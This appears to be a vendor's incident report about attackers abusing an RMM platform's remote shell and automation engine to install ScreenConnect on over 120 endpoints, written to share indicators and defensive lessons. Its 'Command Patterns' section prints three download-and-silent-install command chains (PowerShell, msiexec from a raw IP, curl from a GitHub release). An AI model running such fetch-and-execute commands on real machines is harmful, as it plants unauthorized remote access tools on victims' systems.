How We Detected and Stopped a Coordinated RMM Abuse Campaign in 12 Hours
Threat actors signed up for our platform, deployed agents to victim machines, and weaponized our remote shell to install ScreenConnect RATs across 120+ endpoints. Here's the full technical breakdown.
What Happened
In late March 2026, we discovered that multiple threat actors had created accounts on the ET Ducky platform and were using it as a command-and-control channel to deploy ScreenConnect (ConnectWise Control) remote access tools onto customer endpoints.
The attackers didn't exploit a vulnerability. They used the platform exactly as designed — creating organizations, deploying agents with registration tokens, and executing commands through the authenticated remote shell. The difference was what they executed: silent ScreenConnect installers served from attacker-controlled infrastructure.
The campaign compromised over 120 unique Windows endpoints across 7 organizations before detection.
120+ endpoints received ScreenConnect RAT installations. Our EV code signing certificate was revoked by the issuing CA, and the installer binary was submitted to MalwareBazaar as a malware sample. No customer data was exfiltrated through our platform, but all affected endpoints should be inspected for unauthorized ScreenConnect installations.
How It Was Discovered
Our code signing certificate authority (SSL.com) revoked our EV certificate, citing suspicious signing activity. During the investigation into why, we traced the issue back to a coordinated campaign where our signed agent was being deployed to machines the threat actors did not own — our trusted, signed binary was the delivery vehicle, and the remote shell was the payload mechanism.
From first suspicion to full containment took approximately 12 hours.
The Attack Chain
The attackers developed a sophisticated, automated pipeline that required minimal ongoing interaction once set up:
The critical insight was Step 3. By combining the automation engine with the remote shell, attackers achieved a force multiplier: set up once, deploy to unlimited endpoints automatically. The automation engine executed commands with a "system" attribution rather than the attacker's user identity, effectively laundering the command origin.
Indicators of Compromise
We're publishing these IOCs to help other RMM vendors and security teams identify and block this campaign.
Malicious Domains
Command & Control IPs
Malware Distribution
The GitHub repository hosted ScreenConnect MSI files disguised as software patches. The C2 IPs all geolocated to the Netherlands and Germany, serving ScreenConnect MSI installers on port 8040. The .top domains served ScreenConnect EXE installers directly.
Command Patterns
Three distinct delivery methods were observed:
# Pattern 1: Direct download from .top domains
$installer="$env:TEMP\sc.exe"
Invoke-WebRequest "https://[domain].top/Bin/ScreenConnect.ClientSetup.exe" -OutFile $installer
Start-Process $installer -ArgumentList "/S"
# Pattern 2: MSI install from raw IP
Start-Process "msiexec.exe" -ArgumentList "/i http://[IP]:8040/Bin/ScreenConnect.ClientSetup.msi /quiet /norestart" -Wait
# Pattern 3: MSI download from fake GitHub repo
curl.exe -L "https://github.com/cloverassets60-cmd/gbasgbos/releases/download/[version]/ScreenConnect.ClientSetup-12.msi" -o "C:\Temp\patch.msi"
msiexec.exe /i "C:\Temp\patch.msi" /qn /norestartDetection & Containment Timeline
The "System" Attribution Problem
The most dangerous aspect of this attack was the automation abuse. When a shell command is executed through an interactive session, it's attributed to the authenticated user. But when the automation engine executes a script, it runs without a user identity attached.
The attackers exploited this by setting up automation rules that triggered on new agent enrollment. Every time an agent registered, the automation engine silently executed their malicious script. The result: hundreds of ScreenConnect installations with no direct user attribution in the command logs.
This is a class of vulnerability that affects any platform combining automation engines with remote execution. If automation can trigger shell commands and automation runs outside a user's identity context, the automation engine becomes a privilege escalation path.
What We Built in Response
Every shell command — whether from interactive sessions, ad-hoc execution, or automation scripts — now passes through a multi-layer validation engine before reaching any agent.
30+ regex patterns that instantly reject known attack patterns: download-and-execute chains, remote MSI installations, known RAT installers, credential theft tools, anti-forensics utilities, PowerShell obfuscation.
20+ behavioral indicators scored with weighted values. Commands accumulate risk points across multiple behavioral indicators. Commands exceeding the block threshold are rejected even if no single blocklist pattern matches.
Per-user, per-organization rate limits prevent mass deployment scripts from executing even if individual commands pass validation.
Every command validation decision is logged with the risk score, matched patterns, category, and command preview — regardless of whether it was allowed or blocked.
Agent registration and installer downloads are now restricted to North America. All three C2 IP addresses in this campaign geolocated to the Netherlands and Germany — the geo block would have stopped the attack at the registration step.
The command security engine now syncs with multiple active threat intelligence feeds — tens of thousands of malicious domains and C2 IPs. Every command is checked against this live blocklist before execution. A confirmed match against a known malicious indicator triggers immediate automated response.
Every blocked command now triggers an automated investigation pipeline: full command history for the threat actor, all affected agents and organizations, extracted IOCs, account details, and a complete audit trail of automated response actions taken.
Investigations produce a structured spreadsheet report covering the command timeline with source IPs, blocked commands with matched patterns, affected agents, IOC list, related users, and raw security logs. Reports are automatically uploaded to a secured cloud storage repository organized by week.
Lessons for the RMM Industry
This attack is not unique to ET Ducky. Any RMM platform with remote execution capabilities is a potential C2 channel. The same pattern — legitimate tool, authenticated access, silent payload delivery — was used in the 2021 Kaseya VSA attack and continues to be a primary vector for ransomware groups targeting managed service providers.
The key takeaways:
Remote shell without command filtering is a C2 channel. Any authenticated user with shell access can execute arbitrary commands on every agent in their organization. If the platform doesn't validate what's being executed, it's functionally equivalent to giving attackers a botnet control panel.
Automation engines are privilege escalation vectors. When automation runs scripts outside a user's identity context, it creates a path where a one-time configuration (creating a rule) results in unlimited execution without ongoing authentication or attribution. Every command path needs the same security validation, regardless of how it was triggered.
EV code signing cuts both ways. The signed agent bypassed endpoint protection — exactly as intended for legitimate deployments. But it also meant the attackers' payload delivery vehicle was implicitly trusted by every endpoint it was installed on.
Anonymous signups enable abuse at scale. Every malicious account in this campaign had no name or email. Requiring identity verification before granting access to sensitive features (remote execution, automation, bulk deployment) adds friction for attackers without significantly impacting legitimate users.
April Follow-On Campaign
In early April 2026, two separate threat actors returned to the platform using newly created accounts. Both were identified within hours of their first blocked command.
Attack 1 (org: dataltd) — The threat actor ran reconnaissance commands (whoami, tracert, route print), searched for TightVNC installations, and attempted to download a payload from helpsvip.com. The download succeeded on one endpoint (DESKTOP-40VSTP0), depositing a file at C:\sheets.zip. Subsequent attempts on other agents failed. A second dropper from incppl.com was also attempted and blocked.
Attack 2 (org: alexa) — A different threat actor deployed Action1 RMM to one endpoint on April 2nd, then returned on April 4th with a Base64-encoded PowerShell command to silently install ScreenConnect from stamsh.online:8443. The encoded command used an obfuscation technique to bypass the original detection pattern, which was subsequently patched.
Both accounts were banned, all agents in the affected organizations deactivated, and pending commands cancelled. The new automated investigation pipeline generated forensic reports for both incidents and uploaded them to secured cloud storage within minutes of detection.
DESKTOP-40VSTP0 (dataltd org) received a payload at C:\sheets.zip from helpsvip.com before the command was blocked on subsequent attempts. This endpoint should be treated as compromised and inspected for unauthorized software and persistence mechanisms.
All malicious accounts have been suspended. The command security service is deployed and actively blocking malicious patterns. Our EV code signing certificate has been reinstated. The installer has been rebuilt with a new hash. All affected organizations have been notified. The malicious GitHub repository and MalwareBazaar listing have been reported.
If you're building or operating an RMM platform, I hope this breakdown helps you think about the abuse potential of remote execution features. If you're an MSP evaluating RMM tools, ask your vendors what command-level security controls they have in place. And if you've seen any of the IOCs listed above in your environment, please reach out.
Questions about this incident?
I'm committed to transparency about our security posture. If you have questions or want to discuss the technical details, I'm happy to talk.
Contact security